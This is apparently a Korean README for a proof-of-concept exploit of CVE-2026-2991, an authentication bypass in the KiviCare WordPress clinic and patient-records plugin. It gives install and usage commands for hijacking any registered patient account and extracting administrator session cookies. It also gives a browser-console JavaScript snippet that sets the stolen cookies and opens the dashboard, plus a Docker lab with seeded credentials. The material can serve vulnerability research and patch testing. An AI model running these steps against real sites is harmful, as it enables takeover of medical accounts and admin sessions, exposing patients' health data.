
CVE-2026-2991용 PoC 익스플로잇 — KiviCare WordPress 플러그인(≤4.1.2)의 인증 우회로 인증되지 않은 환자 계정 탈취 및 관리자 세션 추출이 가능합니다.
CVE-2026-2991은 KiviCare – Clinic & Patient Management System (EHR) WordPress 플러그인의 인증 우회 취약점으로, 4.1.2를 포함한 모든 버전에 영향을 미칩니다.
이 플러그인은 소셜 로그인을 통해 사용자를 인증하는 공개 REST 엔드포인트 /wp-json/kivicare/v1/auth/patient/social-login을 노출합니다. patientSocialLogin() 함수는 이메일 주소와 액세스 토큰을 받아들이지만 토큰을 주장된 소셜 제공자에 대해 검증하지 않습니다. 인증되지 않은 공격자는 이메일과 임의의 문자열 토큰만 제공하여 등록된 모든 환자로 로그인할 수 있습니다.
또한 WordPress 인증 쿠키는 환자 역할 확인이 적용되기 전에 발급됩니다. 즉, 관리자를 포함한 비환자 계정의 경우 응답이 HTTP 403을 반환하지만 유효한 Set-Cookie 헤더를 여전히 포함하여 재사용 가능한 관리자 세션을 공격자에게 노출합니다.
영향을 받는 버전: kivicare-clinic-management-system <= 4.1.2
git clone https://github.com/joshuavanderpoll/CVE-2026-2991.git
cd CVE-2026-2991
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
git clone https://github.com/joshuavanderpoll/CVE-2026-2991.git
cd CVE-2026-2991
python3 -m venv .venv
.venv\Scripts\activate
pip3 install -r requirements.txt
python3 CVE-2026-2991.py --url <TARGET_URL> --email <TARGET_EMAIL> [--login-type <google|apple>] [--timeout <SECONDS>] [--useragent <UA>]
등록된 환자의 인증을 우회합니다. 스크립트는 nonce와 재사용 가능한 쿠키를 포함한 전체 세션을 반환합니다.
python3 CVE-2026-2991.py --url 'https://target.com' --email '[email protected]'

비환자 사용자(예: 관리자)의 이메일을 제공합니다. 엔드포인트는 역할 확인 전에 유효한 인증 쿠키를 발급하고 403을 반환하며, 해당 쿠키가 추출되어 출력됩니다.
python3 CVE-2026-2991.py --url http://localhost:8080/ --email '[email protected]'

실행이 성공하면 스크립트가 JavaScript 스니펫을 출력합니다. 브라우저에서 대상 사이트를 열고 브라우저 콘솔(F12 → Console)에 스니펫을 붙여넣은 후 Enter를 누르세요. 그러면 훔친 쿠키를 설정하고 자동으로 대시보드로 이동합니다.
(() => {
document.cookie = "wordpress_<hash>=<value>; path=/";
document.cookie = "wordpress_logged_in_<hash>=<value>; path=/";
window.location.href = "http://target.com/kivicare-patient-dashboard";
})();
취약한 플러그인이 사전 설치되고 현실적인 테스트 데이터로 시드된 자체 포함 Docker Compose 환경입니다. 자세한 내용은 DOCKER.md를 확인하세요.
cd docker/
docker compose up
랩 환경은 첫 부팅 시 다음 계정을 시드합니다.
# Bypass a patient
python3 CVE-2026-2991.py --url 'http://localhost:8080' --email '[email protected]'
# Leak admin session cookies
python3 CVE-2026-2991.py --url 'http://localhost:8080' --email '[email protected]'
이 도구는 교육 및 연구 목적으로만 제공됩니다. 제작자는 이 도구로 인한 오용이나 손해에 대해 책임을 지지 않습니다.
| 역할 | 사용자 이름 | 이메일 | 비밀번호 |
|---|
| Admin | admin | [email protected] | admin |
| Doctor | dr.harris | [email protected] | Doctor@123 |
| Doctor | dr.chen | [email protected] | Doctor@123 |
| Doctor | dr.okonkwo | [email protected] | Doctor@123 |
| Patient | james.ford | [email protected] | Patient@123 |
| Patient | sofia.reyes | [email protected] | Patient@123 |
| Patient | oliver.knight | [email protected] | Patient@123 |
| Patient | amara.diallo | [email protected] | Patient@123 |
| Patient | dan.walsh | [email protected] | Patient@123 |